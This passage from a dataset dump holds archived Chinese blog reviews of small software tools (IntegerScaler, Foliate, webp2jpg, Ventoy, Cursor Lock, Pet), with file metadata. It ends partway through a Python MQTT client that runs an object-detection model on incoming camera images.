┊ [淘宝皇冠店](http://dianpu.tao123.com/?pid=mm_26142575_0_0&amp;eventid=102167)\n闲逛好站推荐: [爱偷闲(www.iTouxian.com)](http://www.itouxian.com) ,分享身边的美好事、搞笑事、幸福事、蛋疼事…[点此进入](http://www.itouxian.com)\n\n来自 有意思吧\n\n#博客/有意思吧" }, { "alpha_fraction": 0.7179938554763794, "alphanum_fraction": 0.7514298558235168, "avg_line_length": 36.278690338134766, "blob_id": "dd01313ffc31327c0095c44d3790ae5f4b925d03", "content_id": "19183b847eaa22d26b6f3d4bf758fa9f025506e0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3530, "license_type": "no_license", "max_line_length": 537, "num_lines": 61, "path": "/博客/小众软件/IntegerScaler – 让老游戏、小图片更清晰,适合 2K4K 显示器[WindowsChromeFirefox].textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# IntegerScaler – 让老游戏、小图片更清晰,适合 2K/4K 显示器[Windows/Chrome/Firefox]\n[小众软件 IntegerScaler – 让老游戏、小图片更清晰,适合 2K/4K 显示器❲Windows/Chrome/Firefox❳](https://www.appinn.com/integerscaler/) \n\n[IntegerScaler](https://www.appinn.com/integerscaler/) 是一款用来提高游戏_图片清晰度的小工具,拥有 Windows 客户端以及 Chrome、Firefox 扩展,它可以让游戏_图片中的像素以整数比例缩放,比如将一款 640×480 原始分辨率的游戏放大到 4K 分辨率,以实现用像素化替代模糊,让画面看起来更清晰。@Appinn\n\n![](assets/image_2.jpeg)\n\n来自 [发现频道](https://meta.appinn.net/t/integerscaler/16430) ,@ [Fox](https://meta.appinn.net/u/Fox) 同学的推荐。\n\n这是一个非常有意思的软件,实现思路也很奇特,模糊会让人感觉不够高清,但像素化可以让用户产生错觉,尤其本身就是像素化风格的游戏。\n\n比如,先看一张模糊的图片:\n\n![](assets/image_4.png)\n\n经过 **IntegerScaler** 处理后,变为这个样子:\n\n![](assets/image_1.png)\n\n实现原理是将每一个像素变大,比如在 4K 显示器(3840×2160)下的全高清分辨率(1920×1080)游戏,原来的每个逻辑像素都会变为4个(2×2),这样就达到了像素化,并提高视觉分辨率。\n\nIntegerScaler 与支持窗口模式 **的绝对大多数** 游戏兼容,这里有份 [测试列表](https://tanalin.com/en/projects/integer-scaler/compatibility/) (网络较难打开)。\n\n## 图片测试\n\n下面这个图片测试,注意是图片测试( [原图](https://tanalin.com/images/misc/winamp-skins/windows.png) ),不是 WinAmp 软件测试。\n\n在 Chrome 浏览器下,安装 IntegerScaler 扩展,打开图片,放大到 400% 后,可以看出区别:\n\n![](assets/image_5.png)\n处理前\n\n![](assets/image_3.png)\n处理后\n效果还是十分明显的。\n\n以下为 @Fox 同学的推荐:\n\n* **适合场景:** 部分高分屏用户,以窗口模式玩游戏时,网页放大图片时。\n* **使用方法:** 将游戏切换到 **窗口模式** ,然后在游戏窗口处于活动状态时按 **Alt+F11** 。\n\n* 支持窗口模式的游戏的整数比例缩放且无模糊。\n* 可自动缩放指定的游戏。\n* 可自定义背景色。\n* 可调整游戏窗口的大小。\n* 支持命令行参数进行更多调整。\n* 缩放不适用于最大化的窗口。\n\n更多的,欢迎前往 [发现频道](https://meta.appinn.net/t/integerscaler/16430) 与 @Fox 同学探讨。 [IntegerScaler](https://tanalin.com/en/projects/integer-scaler/) 官网在这里。\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/integerscaler/#comments) 收藏1\n\n[https://www.appinn.com/integerscaler/](https://www.appinn.com/integerscaler/)\n\nSent with [Reeder](http://reederapp.com)\n\n#博客/小众软件" }, { "alpha_fraction": 0.7087294459342957, "alphanum_fraction": 0.7299049496650696, "avg_line_length": 38.23728942871094, "blob_id": "f64cadebe807f561b72e491276a5b2de843be1b7", "content_id": "ba8d18210daceae03c1dd0456428cb13bd01f959", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3229, "license_type": "no_license", "max_line_length": 537, "num_lines": 59, "path": "/博客/小众软件/Foliate – 适用于 Linux 桌面的简单、现代的电子书阅读器.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# Foliate – 适用于 Linux 桌面的简单、现代的电子书阅读器\n[小众软件 Foliate – 适用于 Linux 桌面的简单、现代的电子书阅读器](https://www.appinn.com/foliate-for-linux/) \n\n[Foliate](https://www.appinn.com/foliate-for-linux/) 是一款仅支持 Linux 桌面的电子书阅读器。@Appinn\n\n![](assets/image_1.jpeg)\n\n来自 [发现频道](https://meta.appinn.net/t/foliate-linux/17222) @ [removefromdarks](https://meta.appinn.net/u/removefromdarks) 的推荐,难得发现频道有专门的 Linux 桌面软件推荐。话说青小蛙好久没有用过 Linux 桌面系统了。\n\n## Foliate 简介\n\n* 支持的格式:\n\n\t* EPUB(.epub,.epub3)\n\t* Kindle(.azw,.azw3)和Mobipocket(.mobi)\n\t* FictionBook(.fb2,.fb2.zip)\n\t* 漫画书档案(.cbr,.cbz,.cbt,.cb7)\n\t* 纯文本(.txt)\n\n* 单栏,两栏或连续滚动版式\n* 调整字体,行距和边距\n* 自定义颜色和亮度\n* 带有章节标记的阅读进度滑块\n* 书签和注释\n* 在书中查找\n* 弹出窗口中的脚注\n* 触摸板手势-使用两指滑动即可翻页\n* 使用维基词典,维基百科, `dictd` 和 `sdcv` 进行快速查询字典,或使用谷歌翻译文本\n* 由 eSpeak NG 和 Festival 的支持的基本文本转语音功能\n\n## 官方网站 && 应用商店地址\n\n[官方网站](https://johnfactotum.github.io/foliate/) | [flathub 商店页面](https://flathub.org/apps/details/com.github.johnfactotum.Foliate) | [Ubuntu Snaps 商店页面](https://snapcraft.io/foliate)\n\n@ *[iminto](https://meta.appinn.net/t/foliate-linux/17222/2?u=qingwa)* 同学还回复道:这个软件太好了,干净。比那些基于 electron 的轻便多了。\n\n开发者在 GitHub 提供的 .deb 文件只有 727KB,那么问题来了,这里的 Linux 桌面用户多么?\n\n- - - -\n\n## 相关阅读\n\n* [送 15 本纸质书:《Linux 就该这么学》](https://www.appinn.com/linux-probe-gift/)\n* [《Linux 就该这么学》 – 售价 79 元的 Linux 「零基础」书籍免费送](https://www.appinn.com/linux-probe-pdf-book/)\n* [Chocolatey – 命令行软件包管理](https://www.appinn.com/chocolatey/)\n* [CMatrix – Linux 下的数码雨❲Linux❳](https://www.appinn.com/cmatrix/)\n* [扩展「电信iTV」在任意地点、多屏幕观看世界杯](https://www.appinn.com/telecom-itv-use-udpxy/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/foliate-for-linux/#comments) 收藏0\n\n[https://www.appinn.com/foliate-for-linux/](https://www.appinn.com/foliate-for-linux/)\n\nSent with [Reeder](http://reederapp.com)\n\n#博客/小众软件" }, { "alpha_fraction": 0.7336152195930481, "alphanum_fraction": 0.7556025385856628, "avg_line_length": 37.16128921508789, "blob_id": "2d8f348b66a43ee472c3af1254e5415aa0d464d4", "content_id": "a15385e7dbc41b2fe8d8215d9f9c283d31b3e0d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3488, "license_type": "no_license", "max_line_length": 537, "num_lines": 62, "path": "/博客/小众软件/webp2jpg – 一个简单的开源在线图片格式转换工具,支持 WebP,无上传,可批量.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# webp2jpg – 一个简单的开源在线图片格式转换工具,支持 WebP,无上传,可批量\n[小众软件 webp2jpg – 一个简单的开源在线图片格式转换工具,支持 WebP,无上传,可批量](https://www.appinn.com/webp2jpg-online/) \n\n[webp2jpg](https://www.appinn.com/webp2jpg-online/) 是一款开源的在线图片格式转换工具,支持包括 webp 动画格式在内的众多图片转换,利用浏览器自身运算转换,无需上传任何数据,支持批量处理。@Appinn\n\n![](assets/image_2.jpeg)\n\n感谢微博好友 @ **为啥好听的名字都用不了** 通过 @没有我找不到的电子书 的推荐。\n\nwebp2jpg 的特点在于支持 webp 以及动画格式,并且由于不需要上传任何数据,除了保护隐私之外,还非常的迅速(超级低配老电脑除外)。\n\n只需要打开 webp2jpg:\n\n* [https://renzhezhilu.gitee.io/webp2jpg-online/](https://renzhezhilu.gitee.io/webp2jpg-online/) 国内较快\n* [https://renzhezhilu.github.io/webp2jpg-online/](https://renzhezhilu.github.io/webp2jpg-online/)\n\n然后将图片拖进去即可,支持手机浏览器,选择载入照片即可。\n\n![](assets/image_1.jpeg)\n\n然后需要调整你想要输出的格式,调整下参数、画质:\n\n* jpeg\n* png\n* gif\n* webp\n* webp 动画\n* png-8\n\n就可以了。\n\n![](assets/image_3.gif)\n\n开发者自己提到:\n\n> 我常常需要把 webp 图片转成 jpg 格式,很多在线转化提供的功能都需要上传文件,不爽。有非上传的但是 ui 很难用,谷歌一番后了解到 html5 自带接口的 canvas.toBlob 有转换图片格式的功能,索性就自己搞这个 webp2jpg-online。 \n\n其实青小蛙也有这样的需求 一般情况下是通过在线工具比如 ezgif 解决的,但在线工具都有一个最大尺寸限制,并且速度也慢,不如 webp2jpg 在本地处理来的快。很方便的小工具。\n\n另外,webp2jpg 在 [GitHub](https://github.com/renzhezhilu/webp2jpg-online) 开源。\n\n- - - -\n\n## 相关阅读\n\n* [Online OCR – 在线转换 PDF/图片到 Word 文档❲Web❳](https://www.appinn.com/online-ocr/)\n* [Online Compiler – 手机上的 IDE,代码编辑器与云编译 ❲Android❳](https://www.appinn.com/online-compiler/)\n* [Online fav-icon Creator – 在线 Favicon 图标制作](https://www.appinn.com/online-fav-icon-creator/)\n* [Pixlr Photo Editor Online – 在线 PhotoShop 类图片编辑](https://www.appinn.com/photo-editor-online/)\n* [免费在线思维导图软件 – 爱莫脑图,限时免费送1000个优惠码](https://www.appinn.com/apowersoft-online-mindmap/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/webp2jpg-online/#comments) 收藏0\n\n[https://www.appinn.com/webp2jpg-online/](https://www.appinn.com/webp2jpg-online/)\n\nSent with [Reeder](http://reederapp.com)\n\n#博客/小众软件" }, { "alpha_fraction": 0.7200406193733215, "alphanum_fraction": 0.7396750450134277, "avg_line_length": 29.463916778564453, "blob_id": "7d1ac8c32a9a4abea759dbdc4a06911a501a0516", "content_id": "d6cbc89d79bfc6dbb9ca9ace7abe515232709dc6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4897, "license_type": "no_license", "max_line_length": 537, "num_lines": 97, "path": "/博客/小众软件/Ventoy – 开源 U 盘启动盘制作工具,支持启动多个系统,还能当普通 U 盘保存文件[WinLinux].textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# Ventoy – 开源 U 盘启动盘制作工具,支持启动多个系统,还能当普通 U 盘保存文件[Win/Linux]\n[小众软件 Ventoy – 开源 U 盘启动盘制作工具,支持启动多个系统,还能当普通 U 盘保存文件❲Win/Linux❳](https://www.appinn.com/ventoy/) \n\n[Ventoy](https://www.appinn.com/ventoy/) 是一款开源的,用来制作可启动 U 盘的 Windows 工具,使用简单,只需要将多个系统镜像 ISO 文件拷贝至 U 盘,即可自动创建包含多个系统的启动菜单,来安装操作系统。并且该启动 U 盘还能当普通 U 盘使用。@Appinn\n\n![](assets/image_3.jpeg)\n\n感谢 @ [懒洋洋的就趴在那里一动不动动不动动动](https://twitter.com/cryous/status/1253868388067115008) 的推荐。\n\n都说一块 U 盘制作一个系统启动盘, **Ventoy** 最方便的地方就是你可以用它制作一块既能启动 Windows,也能启动 Linux 的启动盘,而且使用非常简单。\n\n目前已测试过支持包括主流 Windows、服务器版 Windows、Debian、Ubuntu、CentOS、RHEL、Deepin,VMware ESXi 等系统 202 个,你要做的,只是下载系统镜像文件,然后直接拷贝进去就好了。 **Ventoy** 会帮助你自动创建启动菜单。\n\n## 下载 Ventoy\n\n首先,需要下载 **Ventoy** ,有 Windows 与 Linux 两个版本,下载地址位于 [GitHub](https://github.com/ventoy/Ventoy/releases) ,有能力的前往下载,青小蛙提供两个国内转运下载地址:\n\n \n![](assets/image_1.png)\n \n## 制作启动 U 盘\n\n插入 U 盘之后, **Ventoy** 会自动识别,只需要点击 Install 即可,会两次提醒格式化将会删除 U 盘数据。\n\n如果 **Ventoy** 有更新,点击 Update 更新即可。\n\n![](assets/image_4.jpeg)\n\nLinux 安装方式请参考 [官方文档](https://www.ventoy.net/cn/doc_start.html) 。\n\n### 启动盘依旧是普通 U 盘\n\nVentoy 最酷的地方,是成为启动 U 盘之后,还可以当普通 U 盘使用,保存普通文件,不影响 Ventoy 功能。\n\n## 复制系统 ISO 镜像文件\n\n制作好的启动 U 盘,表面上看起来还是一块普通 U 盘,文件管理器里什么文件都没有:\n\n![](assets/image_7.jpeg)\n\n实际上,是因为 **Ventoy** 将 U 盘分为了两个分区:\n\n![](assets/image_5.jpeg)\n\nEFI 分区被隐藏,无需理会。\n\n只需要将 ISO 文件拷贝到 U 盘里即可,比如青小蛙就直接将 Ubuntu 和 Windows XP 两个 ISO 系统镜像文件拷贝到了 Ventoy(E:) 盘下:\n\n![](assets/image_2.jpeg)\n\nVentoy 会自动扫码 U 盘里的所有 ISO 文件,包括子文件夹,但不支持中文文件夹名称。\n\n## 多系统启动\n\n复制好系统镜像之后,直接拿去启动即可。\n\n![](assets/image_6.jpeg)\n\n青小蛙在虚拟机 [PD](https://partner.lizhi.io/appinn/parallels_desktop) 中测试成功,已经识别了两个 ISO 文件。选一个,就可以进入正常的系统安装流程了。\n\n## Ventoy 特点列表:\n\n* 开源、易用\n* 快速 (拷贝文件有多快就有多快)\n* 直接从 ISO 文件启动,无需解开\n* 无差异支持 Legacy + UEFI 模式\n* UEFI 模式支持安全启动 (Secure Boot)\n* 支持超过 4GB 的 ISO 文件\n* 保留 ISO 原始的启动菜单风格(Legacy & UEFI)\n* 支持大部分常见操作系统, 已测试 200+ 个 ISO 文件\n* 不仅仅是启动,而是完整的安装过程\n* 提出 “Ventoy Compatible” 概念\n* 支持插件扩展\n* 启动过程中支持 U 盘设置写保护\n* 不影响 U 盘日常普通使用\n* 版本升级时数据不会丢失\n* 无需跟随操作系统升级而升级 Ventoy\n\n## 最后\n\n至此,一个系统启动 U 盘、一个普通 U 盘合二为一的 Ventoy 启动盘已经制作完成,想要添加新的系统只需要更新 U 盘里的 ISO 系统镜像文件即可,也不影响当作普通 U 盘保存文件使用,非常方便。\n\n青小蛙要给一个 [精选](https://www.appinn.com/category/featured/) ,Ventoy [官网在这里](https://www.ventoy.net/cn/index.html?ref=appinn) 。\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/ventoy/#comments) 收藏0\n\n[https://www.appinn.com/ventoy/](https://www.appinn.com/ventoy/)\n\nSent with [Reeder](http://reederapp.com)\n\nSent from my iPad\n\n#博客/小众软件" }, { "alpha_fraction": 0.7226141691207886, "alphanum_fraction": 0.7552915215492249, "avg_line_length": 41.09375, "blob_id": "ef0b07e9c5df77879830bf91fae21ed2952a4e32", "content_id": "78af124ed14167577f7c1e9da55bc6765a867807", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3990, "license_type": "no_license", "max_line_length": 537, "num_lines": 64, "path": "/博客/小众软件/双显示器,如果让鼠标按需才能进入显示器2?.textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# 双显示器,如果让鼠标按需才能进入显示器2?\n[小众软件 双显示器,如果让鼠标按需才能进入显示器2?](https://www.appinn.com/cursor-lock-for-windows/) \n\n来自 [问题频道](https://meta.appinn.net/t/topic/15750) @Fox 同学的问题:有没有办法让鼠标活动区域默认始终在显示器1,而不进入显示器2?然后通过其他方式(比如快捷键),才可以把指定软件弄过去?\n\n可以用来解决 [双显示器](https://www.appinn.com/tag/%E5%8F%8C%E6%98%BE%E7%A4%BA%E5%99%A8/) 在打游戏的时候,鼠标突然跳出到第二块屏幕上的尴尬。\n\n![](assets/image_4.jpeg)\nPhoto by [Fotis Fotopoulos](https://unsplash.com/@ffstop?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText)\n一直以来,青小蛙碰到的问题更多的都是如何让两台电脑可以共用一套键盘鼠标,比如 [Synergy](https://www.appinn.com/synergy/) 就可以在局域网中用一套键盘/鼠标控制多台电脑。而双显示器系统本身就支持,讨论的并不多。\n\n而这个问题有意思了,如果不让鼠标太灵活,以至于在两台显示器间跑来跑去。\n\n在回复中,@ [xml123](https://meta.appinn.net/u/xml123) 同学的 [答案](https://meta.appinn.net/t/topic/15750/2?u=qingwa) 非常刁钻:\n\n> 你可以把显示器2调到一个比较刁钻的位置 \n\n嗯,大概看起来像这样:\n\n![](assets/image_1.png)\n\n可能是最简单最省力气的解决方案了,但…不够优雅。\n\n最后,还是 @Fox 同学自己找到了答案:\n\n## Cursor Lock\n\nCursor Lock( [官网](http://www.snakebytestudios.com/projects/apps/cursor-lock/) )是一款专门用于锁定鼠标在某一个区域内的小工具,其主要用途是针对双显示器的游戏玩家,让鼠标不会在游戏的过程中跑到第二块屏幕上。\n\n![](assets/image_3.png)\n\n不过 Cursor Lock 已经很久没有更新了,青小蛙在 Windows 10 上测试总有奇奇怪怪的问题,并且青小蛙也没有双显示器,所以,测试未能进行下去。\n\nFox 则给出了设置方案:\n\n![](assets/image_2.jpeg)\n\n简单说就是平时鼠标锁定屏幕1里活动,可以快捷键解锁,然后在不解除锁定的情况下,可以拖动一个窗口直接跨区。\n\n有类似需求的同学可以 [前往问题频道](https://meta.appinn.net/t/topic/15750/19) 了解详情。\n\n- - - -\n\n## 相关阅读\n\n* [Funny Cursor – 搞怪的鼠标指针❲愚人节❳](https://www.appinn.com/funny-cursor/)\n* [为什么要使用 Windows 10 的 214 条理由](https://www.appinn.com/why-are-there-214-reasons-to-use-windows-10/)\n* [Lock Screen Appinn – 屏幕密码锁❲AHK❳](https://www.appinn.com/lock-screen-appinn-1/)\n* [Anvide Lock Folder – 极简实用的文件夹锁定/隐藏工具](https://www.appinn.com/anvide-lock-folder/)\n* [Lock Screen Appinn – 屏幕密码锁❲AHK❳ 更新到 V1.1](https://www.appinn.com/lock-screen-appinn-1-2/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/cursor-lock-for-windows/#comments) 收藏1\n\n[https://www.appinn.com/cursor-lock-for-windows/](https://www.appinn.com/cursor-lock-for-windows/)\n\nSent with [Reeder](http://reederapp.com)\n\nSent from my iPad\n\n#博客/小众软件" }, { "alpha_fraction": 0.7012460827827454, "alphanum_fraction": 0.7224299311637878, "avg_line_length": 29.875, "blob_id": "995f5b904a9cc4f2e2c67416b99975376c6683c6", "content_id": "92016fd0f5f810489f4cb8c7ae0d130a562ef919", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 5091, "license_type": "no_license", "max_line_length": 537, "num_lines": 104, "path": "/博客/小众软件/Pet – 让双手完全不离开键盘,就能移动鼠标、移动光标,取代鼠标的快捷效率工具[Windows].textbundle/text.markdown", "repo_name": "gonejack/notes", "src_encoding": "UTF-8", "text": "# Pet – 让双手完全不离开键盘,就能移动鼠标、移动光标,取代鼠标的快捷效率工具[Windows]\n[小众软件 Pet – 让双手完全不离开键盘,就能移动鼠标、移动光标,取代鼠标的快捷效率工具❲Windows❳](https://www.appinn.com/pet-for-windows/) \n\n[Pet](https://www.appinn.com/pet-for-windows/) 是一款将很多常规鼠标操作通过 **空格+快捷键** 的方式替代的 Windows 效率工具,能够实现快速启动、数字键盘、取色器、光标移动、鼠标移动等功能,可以让用户在打字的时候更专注。@Appinn\n\n![](assets/image_2.jpeg)\nPhoto by [Gilbert Pellegrom](https://unsplash.com/@gilbitron?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText)\n来自 [发现频道](https://meta.appinn.net/t/pet/13479) 。\n\nPet 的操作很简单,但和所有的效率工具一样,需要记忆一些快捷键。基础操作是 **按住空格键+快捷键** 。一共有三种模式:\n\n1. 按住空格键\n2. 按住 Tab 键\n3. 按住 **单引号** ,输入命令,然后 **松开单引号** 。\n\n具体的快捷键:\n\n### 移动光标(空格)\n\n* 【Space+E】【Space+D】【Space+S】【Space+F】 控制光标上下左右移动\n* 【Space+A】【Space+G】 模拟回车键和菜单键\n\n### 移动鼠标(空格)\n\n* 【Space+I】【Space+J】【Space+K】【Space+L】 控制鼠标上下左右移动,Ctrl和Shift可以加速和减速\n* 【Space+;】【Space+H】模拟鼠标左键和鼠标右键\n\n### 取色器(空格)\n\n* 【Space+B】查看鼠标区域的色值\n\n### 多媒体(空格)\n\n* 【Space+Up】【Space+Down】【Space+Left】【Space+Right】 控制音量大小和切歌\n\n### 窗口(空格)\n\n* 【Space+T】 置顶或取消置顶活动窗口,这个对于多文档编辑非常有用\n* 【Space+N】【Space+N】 切换活动窗口和关闭活动窗口\n* 【Space+,】【Space+.】【Space+/】 切换桌面和任务视图\n\n## 特殊功能\n\n**不需要按住空格**\n\n### 数字模式(Tab)\n\n按住【Tab】键右手就可以按数字键盘的布局输入数字。让没有数字键盘区的笔记本也能使用数字按键了。\n\n* M=1, =2 .=3\n* J=4 K=5 L=6\n* U=7 I=8 O=9\n* N=0 H=+ Y=-\n\n### 命令模式(单引号)\n\n按住【’】键,一般位于回车键的左边一位,输入命令后松开【’】键即可运行命令\n\n例如按住【’】键后输入calc,松开【’】键后会打开计算器,如果命令运行错误,会在鼠标旁边显示输入的内容。\n\n命令模式可以简单的实现快速启动,开发者 @ [majorworld](https://meta.appinn.net/u/majorworld) 提供了一个利用系统变量自定义快捷方式的例子:\n\n![](assets/image_3.jpeg)\n设置快捷文件夹为系统变量\n\n![](assets/image_1.png)\n将快捷方式存入快捷文件夹\n上面两个操作之后,其实用 Win+R 启动运行,然后输入快捷方式名称也能启动了,就是小众软件介绍过的《 [Win+R – 最 cool 最省资源的快速启动](https://www.appinn.com/quick-start-progrem/) 》。\n\n### 禁用\n\n【Win+Esc】禁用或启用所有热键功能\n\n### 增强模式\n\n【Win+Space】切换到增强模式,不需要长按空格直接触发热键\n\n## 下载 Pet\n\nPet 其实并不是完全取代鼠标,而是在你需要长时间打字的时候,不再需要去拿鼠标。双手无需离开键盘就能移动鼠标、移动光标,是不是让一些用户想起了 VIM\n\n可以前往 [发现频道下载 Pet](https://meta.appinn.net/t/pet/13479) 。\n\n- - - -\n\n## 相关阅读\n\n* [Pet Health – 记录宠物健康](https://www.appinn.com/pet-health/)\n* [为什么要使用 Windows 10 的 214 条理由](https://www.appinn.com/why-are-there-214-reasons-to-use-windows-10/)\n* [Touchbar Pet – 在 Mac 电脑的 Touch Bar 触控栏上养一只宠物](https://www.appinn.com/touchbar-pet-for-mac-touch-bar/)\n* [微软的 150 款免费软件❲部分,待更新❳](https://www.appinn.com/ultimate-list-of-free-windows-software-from-microsoft/)\n* [8 款漂亮的 Windows 7 主题桌面](https://www.appinn.com/8-windows-7-themes/)\n\n- - - -\n\n[©](http://www.appinn.com/copyright/?utm_source=feeds&amp;utm_medium=copyright&amp;utm_campaign=feeds) 2019 青小蛙 for [小众软件](http://www.appinn.com/?utm_source=feeds&amp;utm_medium=appinn&amp;utm_campaign=feeds) | [加入我们](http://www.appinn.com/join-us/?utm_source=feeds&amp;utm_medium=joinus&amp;utm_campaign=feeds) | [投稿](https://meta.appinn.com/c/faxian/?utm_source=feeds&amp;utm_medium=contribute&amp;utm_campaign=feeds) | [订阅指南](http://www.appinn.com/feeds-subscribe/?utm_source=feeds&amp;utm_medium=feedsubscribe&amp;utm_campaign=feeds)\n3659b075e72a5b7b1b87ea74aa7932ff\n[点击这里留言、和原作者一起评论](https://www.appinn.com/pet-for-windows/#comments) 收藏0\n\n[https://www.appinn.com/pet-for-windows/](https://www.appinn.com/pet-for-windows/)\n\nSent with [Reeder](http://reederapp.com)\n\n#博客/小众软件" } ]
44
araobp/ai-server
https://github.com/araobp/ai-server
28a301c3a7cd8abb8c764af518edf9016a26297d
cc254c7255c16e9c2de6f23cd7e420c1bf26dfc9
b0271ecec5f07d01f1fb1139886908e4669a3705
refs/heads/main
2023-08-03T20:16:12.263048
2021-08-31T06:35:09
2021-08-31T06:35:09
400,910,893
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.589558482170105, "alphanum_fraction": 0.6087198257446289, "avg_line_length": 35.38383865356445, "blob_id": "aaf0b1d17ce6d3ce1484662819dd06251ddf5e59", "content_id": "472e7eab99b4f7143e1d3225f9f3fe241219ee22", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3601, "license_type": "permissive", "max_line_length": 163, "num_lines": 99, "path": "/python/mqtt_ai_clieny.py", "repo_name": "araobp/ai-server", "src_encoding": "UTF-8", "text": "import paho.mqtt.client as mqtt\nimport cv2 as cv\nimport numpy as np\nimport argparse\nfrom detecto.core import Model\nimport time\n\nSERVER_PORT = 1883\nTOPIC_TX = 'AI-tx'\nTOPIC_RX = 'AI-rx'\nFILENAME = 'model_weights.pth'\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-i\", \"--ip\", help=\"mqtt server IP address\", default=\"localhost\")\nparser.add_argument(\"-u\", \"--username\", help=\"user name\", default=\"simulator\")\nparser.add_argument(\"-p\", \"--password\", help=\"password\", default=\"simulator\")\nparser.add_argument(\"-t\", \"--threshold\", help=\"accuracy threshold\", type=float, default=0.8)\nparser.add_argument(\"-r\", \"--resize\", help=\"resize viewer image\", type=float, default=1.0)\nparser.add_argument(\"-d\", \"--devicename\", help=\"device name\", default=\"AI client\")\nargs = parser.parse_args()\n\nlabels = ['outlet', 'mouth', 'earth terminal']\nsaved_model = Model.load(FILENAME, labels)\n\ndef on_connect(client, userdata, flags, rc):\n print(\"Connected\")\n client.subscribe('{}/#'.format(TOPIC_TX))\n\ndef on_message(client, userdata, msg):\n sub_topic = msg.topic.split('/')[1:]\n command = sub_topic[0]\n params = []\n if len(sub_topic) > 1:\n params = sub_topic[1:]\n\n array = np.frombuffer(msg.payload, dtype=np.uint8) # JPEG data\n src = cv.imdecode(array, cv.IMREAD_COLOR) # JPEG to mat\n\n src = cv.resize(src, (int(src.shape[1]/args.resize), int(src.shape[0]/args.resize)))\n\n if command == 